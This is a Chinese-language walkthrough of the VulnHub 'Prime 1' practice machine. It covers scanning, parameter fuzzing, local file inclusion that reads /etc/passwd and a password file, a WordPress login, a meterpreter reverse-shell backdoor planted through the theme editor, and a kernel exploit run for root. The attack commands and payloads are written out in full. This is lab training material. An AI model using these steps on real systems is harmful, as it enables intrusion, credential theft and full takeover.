当前位置: 首页 > article >正文

VulnHub | Prime - 1

https://vulnhub.com/entry/prime-1,358/https://vulnhub.com/entry/prime-1,358/

0x01:靶场简介

Prime 1 是 VulHub 中的一台用于 OSCP 考试练习的靶机。通过本靶机,我们可以系统的了解的渗透测试的全流程。本靶机的通关目标如下:

  1. Get The User Flag => 拿到用户级别的 Flag。

  2. Get The Root Flag => 拿到管理员级别的 Flag。

通过本靶场你可以学习到如下知识点:

  1. 信息收集 => 主机发现、端口扫描、目录扫描、Fuzz、LFI(本地文件包含漏洞)

  2. 漏洞挖掘 => WordPress 漏洞扫描

  3. 后台入侵 => WordPress 后台入侵

  4. Linux 内核提权

靶场的搭建很简单,从下面的链接将靶机下载下来后解压,然后通过 Vmware 打开即可:

Download:https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

0x02:渗透流程

0x0201:信息收集 - 主机发现

将 Prime1 靶机下载好后,其界面显示如下,可以看到用户描述部分有一个小提示 “find password.txt in my directory” OK,这里是个小细节吧。当然,现在作为攻击者的你是不知道这个小提示的:

渗透测试第一步,就是收集被攻击方的信息,为我们后续的渗透方向做指导,当然,第一步,是先看一下自己的 IP,知道自己在哪:

 ip address # 查看本机 IP 信息

如上,攻击机 Kali (VMWare 中的一台虚拟机)的 IP 是 192.168.0.100。

接下来,我们使用 Nmap 这款工具来扫描一下内网存活的主机:

 nmap -sP 192.168.0.0/24 # 使用 Ping 扫描探测 192.168.0.0 这个网段存活的主机

下面我们分析一下结果,Nmap 使用 Ping 扫描获取到了 192.168.0.0 这个网段中目前有 5 台机器是存活的:

  • 192.168.0.1 => 这个是我真实的物理机

  • 192.168.0.2 => 这个是 VMware 默认的网关地址

  • 192.168.0.106 => 用户机/服务器(靶机)

  • 192.168.0.254 => 这个笔者也不知道是啥

  • 192.168.0.100 => 本机的 IP 地址(Kali 攻击机)

拓展:Nmap 底层原理分析 - nmap -sP

笔者在使用 Nmap 的时候,在我的物理机上开启的 WireShark 抓包,抓到了如下数据包:

可以看到,WireShark 抓到了一堆 ARP (将 IP 地址转化为 Mac 地址的一个协议)请求包,我们主要关注 Info 中的信息:

  • Who has 192.168.0.1?Tell 192.168.0.100

    • 翻译:谁有 192.168.0.1 的 Mac 地址,请告诉 192.168.0.100

  • 192.168.0.1 is at 00:50:56:c0:00:08

    • 翻译:192.168.0.1 的 Mac 地址是 00:50:56:c0:00:08

从抓包中可以看出,192.168.0.100 这个 IP(攻击者)正在通过 ARP 协议借着询问 Mac 地址的名义,探测谁还在线,比如 192.68.0.1 就回复了攻击者自己的 Mac 地址,攻击者就知道,哦,它小子在线。这就是所谓的“醉翁之意不在酒”。

同时,我们也可以了解到 -sP 本来应该是做 Ping 扫描的,使用的应该是 ICMP 协议。但是对于局域网,Nmap 很巧妙的使用了 ARP 协议来代替 ICMP 协议来进行内网的主机探测。

如上,我们成功通过 Nmap 获得了局域网中主机的存活信息,并确定了靶机的地址。

0x0202:信息收集 - 端口扫描

确定了靶机的地址后,接下来我们就要去识别靶机开放的服务,即端口。使用如下命令,扫描靶机的所有端口:

 nmap -p 0-65535 -A 192.168.0.106

拓展:Nmap 底层原理分析 - -p -A

Nmap 的 -p 用于指定探测的端口范围,-A 代表启用版本探测和操作系统信息探测。

如下,是笔者在 Kali 中使用 nmap -p 0-65535 -A 192.168.0.106 然后通过 WireShark 在物理机(192.168.0.1)中抓的包:

可以看到攻击机发了一连串的 TCP 包给靶机,如果你挨个查看其 TCP 层的端口,可以发现,每个包的目的端口(Dst Port)都不同,而且还是乱着的,不是按照 1,2,3,4 这种需要请求的(这个是 Nmap 的混淆机制)。

我们在选项中还启用了 -A,Nmap 还会自动探测目标服务的版本信息和操作系统信息。但这个选项有的小问题,会留下马脚,我们搜索 nmap

可以发现,Nmap 在探测目标服务信息的时候,携带的 User-Agent 明显带有 nmap 的独特标记。所以呐,真实渗透的时候记得自己对 Nmap 进行一下流量混淆,这些太明显的特征还是不要留下比较好。

如上,Nmap 识别出来了目标的 22 和 80 端口处于开放状态,并且还识别出来了目标的服务版本,那么接下来,我们可以针对这开放的两个服务展开攻击。

  • 针对 22 端口 SSH 服务:可以尝试使用 Hydra 进行暴力猜解,然后登录目标服务器。

  • 针对 80 端口 Web 服务:常规的 Web 漏洞挖掘然后看看能不能进后台拿到 Shell。

0x0203:Web 渗透 - 信息收集

已知靶机开放了 80 端口,我们直接通过浏览器访问,看看目标有啥服务:

如图,就一张图片啥也没,查看页面源码也非常的干净:

既然从根目录无法 GET 任何有效信息,那我们就自己拓展目标的攻击面。

0x0204:Web 渗透 - 目录扫描

Web 渗透中扩大攻击面的方式之一就是目录扫描,输入下面的命令,通过 dirb 对目标进行目录扫描:

 dirb http://192.168.0.106

整合一下收集的目录信息(省略一些没用的东西):

 ---- Scanning URL: http://192.168.0.106/ ----
 + http://192.168.0.106/dev (CODE:200|SIZE:131)                                     
 + http://192.168.0.106/index.php (CODE:200|SIZE:136)                                                          
 ==> DIRECTORY: http://192.168.0.106/wordpress/ 
 ---- Entering directory: http://192.168.0.106/wordpress/wp-content/ ----
 + http://192.168.0.106/wordpress/wp-content/index.php (CODE:200|SIZE:0)  

如上,扫描到了几个目录和一些文件,重要的是 /wordpress/ 这个目录,证明目标的 Web 采用了 WordPress 这一 CMS 框架,我们访问看看:

可以看到,是一个初始的 WordPress 界面。如果你搭建过 WordPress 就会知道,WordPress 会以用户身份自动发布一篇 Hello World 的文章,所以从上面我们可以知道该 WordPress 中存在一个叫 victor 的用户。

出了扫描到了 wordpress 目录,还扫到了一个 /dev 的目录,访问看看,啥也不是:

第一轮目录扫描,我们收集到了一个 wordpress 用户名,但是没啥用(当然,你可以去 wordpress 的登录页面尝试爆破密码)。

下面,我们指定扫描的扩展名,再扫一遍:

 dirb http://192.168.0.106/ -X .txt, .php, .zip # 指定扩展名扫描

如上,成功出货,我们先访问 secret.txt 看看:

他说,它想帮助我,叫我们对我们找到的 php 页面做更多的 Fuzz(模糊测试),并提供了一个参考的链接。这个链接是关于 wfuzz 这款 Fuzz 工具的简介(感兴趣的可以看看)。然后它末尾还有一个备注(提示,暂时不知道有啥用,直接访问 location.txt 是 Not Found):

 //see the location.txt and you will get your next move//

0x0205:Web 渗透 - Fuzz 测试

Fuzz 即模糊测试,可以用来测试接口的隐藏参数,也可以用来挖掘隐藏的目录。

输入下面的命令,针对我们之前收集到的 index.php 做接口参数的 Fuzz:

 wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.0.106/index.php?FUZZ=123
 ​
 # -w <字典路径> => 指定 Fuzz 测试的字典文件
 # ?FUZZ=123 => wfuzz 会使用字典中的内容替换 FUZZ 占位字段

如上,返回的结果中 Chars 为 136 Ch 的非常多。模糊测试本就是对目标参数进行爆破,失败的情况占绝大多数,因此所有 Chars 列为 136 Ch 的结果的 Payload 应该都是失败的。 对于这些结果,我们并不关心,所以我们可以使用如下 Payload 对结果进行过滤:

 wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.0.106/index.php?FUZZ=123

如上,成功得到一个 file 参数。此时,懂 Web 攻防的宝子估计就会联想到本地文件包含漏洞了(基础知识哈),我们访问 index.php 并携带上该参数,包含一下 index.php 看看:

如上,显示我们挖掘了错误的文件,此时联想一下我们从 secret.txt 得到的提示,我们尝试包含 location.txt 看看:

成功拿到提示,它叫我们携带 secrettier360 这个参数去访问其他的 php 页面来尝试获得更多的信息。我们总共就找到了两个 PHP 页面,一个 index.php 另外一个就是 image.php,我们携带这个参数去访问看看:

它提示我们拿到了正确的参数,但是我们没有获得想要的结果。修改参数,我们传入 ?secrettier360=index.php 尝试包含 index.php 的内容(其实就是测试看看这个功能点是不是文件包含漏洞):

如上,它成功包含了 index.php 中的页面,证明文件包含漏洞的存在,那么接下来就是漏洞利用了。

0x0206:Web 渗透 - LFI 漏洞利用

我们成功找到一个本地文件包含的漏洞点。接下来,我们尝试用该漏洞拿到服务器的权限,首先尝试读取 /etc/password (该文件中存放了系统中的每个用户信息,且默认是任意用户都可读的)中的内容:

 ?secrettier360=../../../../../../../etc/passwd

如上,成功读取到 /etc/passwd 中的内容,以下是获得的关键信息(笔者排除了一些 /nologin 的信息,就是没有远程登录权限的账户):

 sync:x:4:65534:sync:/bin:/bin/sync
 victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
 saket:x:1001:1001:find password.txt file in my directory:/home/saket:

以上三个用户支持远程登录,victor 这个用户回看目录扫描部分,wordpress 中就有这个用户。saket 它有一个提示,叫我们在它的用户主目录下找 password.txt 这个文件,说找就找:

 ?secrettier360=../../../../../../../home/saket/password.txt

成功拿到 password.txt 中的信息 follow_the_ippsec,结合文件名,笔者推测这是某个用户的登录密码。

我们再尝试读取 /etc/shadow (这个里面存放了服务器用户的密码)这个文件看看:

很可惜,没能 GET 到。那么现在目光回看到 password.txt 这个拿到的密码,它会是啥的密码呢?

整合一下目前已经收集到的信息:

  • wordpress 系统中存在的用户:victor

  • ssh 中可以进行登录的用户:sync、victor、saket

一个个试呗,访问 wordpress 的登录地址(这个一般都是默认的),使用 saket : follow_the_ippsec 尝试登录(毕竟这个密码是在 saket 的主目录发现的),结果发现登录失败:

然后使用 victor : follow_the_ippsec 尝试登录:

如上,成功进入 WordPress 后台管理页面,进入 WordPress 后台管理页面后还没完呢,我们接下里就是尝试利用 WordPress 漏洞拿到靶机的 Shell。

0x0207:WordPress 渗透 - WordPress 漏洞扫描

WordPress 是一款老牌 CMS 系统,很多在线的个人博客站点都会采用该模板进行搭建。也因为它的广泛性,所以很多人会挖它的漏洞,自然而然也会有很多自动化的漏洞测试工具。

不过在使用工具前,笔者还是提一嘴,如果没有这些漏扫工具,你会从哪些方面来尝试挖掘 WordPress 的漏洞?以下是笔者提供的几个思路:

  • WordPress 产品本身漏洞

  • WordPress 第三方插件漏洞

  • WordPress 主题漏洞(很多人不懂博客美化,自然就有人提供主题)

对于 WordPress 的漏洞扫描,你可以从网上搜历史的漏洞,然后用那些 POC 来打,当然也可以用 CMSeek 这款工具来进行一个自动化的扫描。

CMSeek 本来是做 CMS 指纹识别的,但其内部也包含了一些漏洞探测的功能,非常强大。输入下面的命令,使用 CMSeek 来对 WordPress 进行漏洞扫描:

 cmseek -u http://192.168.0.106/wordpress/

OK,啥也没扫出来,不过它扫出来了目标的 WordPress 的版本和当前正在使用的主题。

除了利用现成的漏洞,我们其实还有一个思路,就是利用 WordPress 的主题编辑功能。如果你使用过 WordPress 的话,就会知道,WordPress 其实提供了一个主题编辑器,用户可以自由的往里面写入 PHP 代码或者 HTML 这些东西,能写入代码,我写个反弹链接的后门不就可以咯(拓展一下,除了通过主题编辑器直接嵌入后门代码,我们还可以自定义上传插件,往插件中写入后门木马也是可以拿到 Shell 的)。

0x0208:WordPress 渗透 - 主题编辑器写入后门反弹链接

进入 WordPress 管理后台后,点击 Appearance 然后选择 Theme Editor,如下图,即可看到一个可以编辑代码的地方,这里就是 WordPress 的主题编辑器:

不过很明显,我们当前的用户并没有权限对上面这个文件进行编辑,不然的话,它其实会显示一个 upload 的按钮。

不过先不要灰心,往下找找,看看能不能找到一个我们有权限上传的文件。

如图,成功找到一个有 update 权限的文件(secret.php):

那么接下来,我们就是往里头写入后门文件,然后尝试拿到目标主机的控制权。这里我们当然可以写入一句话木马,做正向连接。但是笔者更倾向于去做反弹连接,因为正向连接很容易会被防火墙拦截,而反弹连接(让被害机主动连接上你的攻击机)适应性则更好。

既然是做反弹连接,我们就得有代码,在 Kali 中输入如下命令,生成 PHP 反弹链接的后门代码:

 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.100 lport=7777 -o shell.php
 ​
 # -p php/meterpreter/reverse_tcp => 指定生成反弹链接的代码 Payload 模板
 # lhost=192.168.0.100 => 这个是接收反弹链接的机子的 IP,即攻击机 IP
 # lport=7777          => 这个是接收反弹链接的端口,即攻击机监听端口

将这串代码复制到 WordPress 的主题编辑器中并点击 Update File:

如上,我们已经成功将反弹链接的后门代码植入到目标系统了。那么下一步就是在本地执行监听程序,然后访问存储后门代码的页面,让后门代码执行,将靶机的 Shell 反弹到我们攻击机上。

在 Kali 上依次输入以下命令,使用 MSF 启动监听程序:

 msfconsole # 启动 MSF
 use exploit/multi/handler # 使用监听模块
 set payload php/meterpreter/reverse_tcp # 设置监听模块的 Payload(此处需要与你的木马程序对应)
 show options # 查看该 Payload 需要设置的内容
 set LHOST 192.168.0.100 # 设置监听的主机 IP(攻击机 IP)
 set LPORT 7777 # 设置监听的本机端口(反弹连接连接的端口),这里也要与木马程序对应
 run # 运行监听程序

至此,我们已经在本地搭建好了监听模块了。那么下一步,就是确定靶机后门程序路径了:

路径怎么找,去 WordPress 官网下一个同样版本的程序回来研究一下不就好咯。首先查看一下目标当前的 WordPress 版本信息:

然后去下面这个位置下载一个对应版本的 WordPress 的源码包:

发行版本归档 – WordPress.org China 简体中文Releases This is an archive of every recorded release t […]https://cn.wordpress.org/download/releases/#branch-52

去源码包中定位 Twenty Nineteen 主题路径:

如上,成功获得 twentynineteen 这一主题相对于 wordpress 主页的路径:

 wordpress\wp-content\themes\twentynineteen

再结合我们之前是把反弹链接的代码写到了 twentynineteen 这一主题下的 secret.php 中,所以我们应该访问的靶机后门路径为:

 wordpress/wp-content/themes/twentynineteen/secret.php

如上攻击机已经成功拿到了靶机的 Shell 了。

0x0209:后渗透 - 用户 Flag 获取

在靶场简介中我们写到了,本靶机的通关有两个条件,一个是用户级别 Flag 的获取,一个是 Root 级别 Flag 的获取(其实也就是对应了我们渗透拿到的权限的等级)。

我们首先来看看用户级别的 Flag,利用拿到的 meterpreter shell 看看我们当前的权限:

 getuid # 查看当前用户名称

如上,一看就是一个小用户的权限。

我们要拿到用户级别的 Flag,众所周知,Linux 中所有普通用户的主目录都在 /home 下,输入下面的命令查看 /home 下的内容,看看有几个有主目录的用户:

 ls /home

如上,发现 /home 目录下有 saket 和 victor 两个用户,观察目录权限:

 040755/rwxr-xr-x  4096  dir   2019-08-31 06:15:38 -0400  saket
 # saket 目录权限: rwx r-x r-x 从左到右依次为 所有者、所属组、其他用户 的对应权限
 040751/rwxr-x--x  4096  dir   2019-09-01 03:47:29 -0400  victor

如上,可以分辨出,针对 saket 用户的主目录,其他用户拥有可读和可执行的权限,而针对 victor 用户的主目录,其他用户连读都不可以。

所以我们先来看看 saket 这个用户主目录下有啥东西:

 ls /home/saket

哎嘿,出货了,password.txtuser.txt,而且其他用户都是可以读取的,我们读取看看:

如上,password.txt 是我们利用文件包含漏洞拿到的 victor 用户的 wordpress 密码文件。user.txt 应该就是我们要拿到的用户 Flag 了,至此,一阶段完成。

0x0210:后渗透 - Linux 内核漏洞提权

拿到了用户 Flag 了,下一步就是尝试获取 Root 级别的 Flag 了,不用想,肯定是在 /root 目录下(root 用户的主目录),针对这个目录,我们普通的小角色肯定无法读取,所以我们就得想办法进行提权。

首先查看一下目标服务器的版本信息:

 sysinfo # 查看靶机的版本信息

定位关键信息:ubuntu 4.10.0-28

然后我们去本地搜索看看有没有对应版本的 ubuntu 内核提权脚本:

 searchsploit ubuntu 4.10.0-28

如上,第二个脚本标识有 "Local Privilege Escalation" 即本地权限升级。其适用的内核小于 4.13.9 然后适用的系统正好也是 ubuntu 16.04。输入下面的命令将这个 45010.c 脚本导出来看看:

 searchsploit -m 45010.c

我们来看看这个脚本中的内容:

使用还是比较容易的,那么下一步我们使用 meterpreter 将这个提权脚本丢到靶机中:

 upload /home/kali/Desktop/45010.c /tmp/ # 将本地 45010.c 脚本上传到靶机 /tmp 目录下
 ​
 # 上传到 /tmp 目录下是因为该目录任何人都拥有读写权限

然后我们利用 meterpreter 启动一个交互式的 shell 进入 tmp 目录并尝试编译 45010.c 程序:

 shell # 启动交互式的 shell
 cd /tmp # 进入 tmp 路径
 ls # 查看当前目录下的内容

输入下面的命令编译 45010.c 文件:

 gcc 45010.c -o 45010 # 编译 45010.c 文件,输出的文件名为 45010(这个可以自定义)    
 chmod +x 45010 # 为 45010 (编译后的可执行文件)添加可执行权限

然后输入下面的命令运行编译后的程序:

 ./45010 # 运行提权脚本
 whoami # 查看当前权限

如上,我们成功拿到了 root 的权限,提权成功。

0x0211:后渗透 - Root Flag 获取

拿到了 Root 权限后我们来看看 root 用户的主目录有没有 Flag:

 ls /root # 查看 root 用户主目录下的内容
 cat /root/root.txt # 查看 root 用户的 Flag

如上,成功拿到 root 用户的 Flag。至此,本靶机被打穿,GG。

0x03:参考链接

红队打靶:Prime1详细打靶思路之模糊测试+内核提权(vulnhub)_prime1靶机-CSDN博客文章浏览阅读2.2k次,点赞4次,收藏8次。本篇博客详述了vulnhub靶机prime1的打靶思路过程,并非简单复现writeup。打靶过程涉及到关于模糊测试及wfuzz工具的使用、文件包含漏洞利用、wordpress CMS、内核漏洞提权。有关OpenSSH渗透的方法将在下一篇博客中详述。_prime1靶机 https://blog.csdn.net/Bossfrank/article/details/131156420
linux下的/etc/passwd详解 - 进击的davis - 博客园在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。 类似于下面的例子: 从上面的例子我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其https://www.cnblogs.com/davis12/p/14373311.html
使用MSF生成各种Payload - lyshark - 博客园Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff'https://www.cnblogs.com/LyShark/p/10564077.html
破解shadow密码 - 小阿辉谈安全 - 博客园当通过任意文件下载或者目录穿越读取或下载/etc/shadow文件时,可以通过john对加密的密码进行破解https://www.cnblogs.com/hgschool/p/17070890.html

http://www.kler.cn/a/534217.html

相关文章:

  • 编程之路:在细节中磨砺技艺
  • 留学生编程辅导Haskell/OCaml/Prolog/Rust/Python
  • 《redis哨兵机制》
  • WebSocket协议里客户端发送给服务器的数据会用4字节的掩码循环异或的分析
  • 解决带空格的字符串输入问题:C/C++中的几种常用函数
  • git进阶--6---git stash
  • Ollama AI 开发助手完全指南:从入门到实践
  • C++常用拷贝和替换算法
  • FastAPI与Selenium:打造高效的Web数据抓取服务
  • 【Rancher】简化Kubernetes容器管理与部署的开源平台
  • AlwaysOn 可用性组副本所在服务器以及该副本上数据库的各项状态信息
  • kamailio-osp模块
  • 洛谷P2789 直线交点数
  • 除了 Python,还有哪些语言可以调用淘宝 API?
  • 深度学习系列--02.损失函数
  • k8m 是一款轻量级、跨平台的 Kubernetes 仪表板
  • RabbitMQ:python基础调用
  • DS图(中)(19)
  • 【分布式架构理论2】分布式架构要处理的问题及解决方案
  • 【自然语言处理(NLP)】Bahdanau 注意力(Bahdanau Attention)原理及代码实现
  • Day36-【13003】短文,数组的行主序方式,矩阵的压缩存储,对称、三角、稀疏矩阵和三元组线性表,广义表求长度、深度、表头、表尾等
  • 02、NodeJS学习笔记,第二节:express与中间件
  • Redis常见数据类型与编码方式
  • RabbitMQ 与 Kafka 的核心区别,如何选择合适的消息中间件?
  • 【LLM】为何DeepSeek 弃用MST却采用Rejection采样
  • 洛谷P2638 安全系统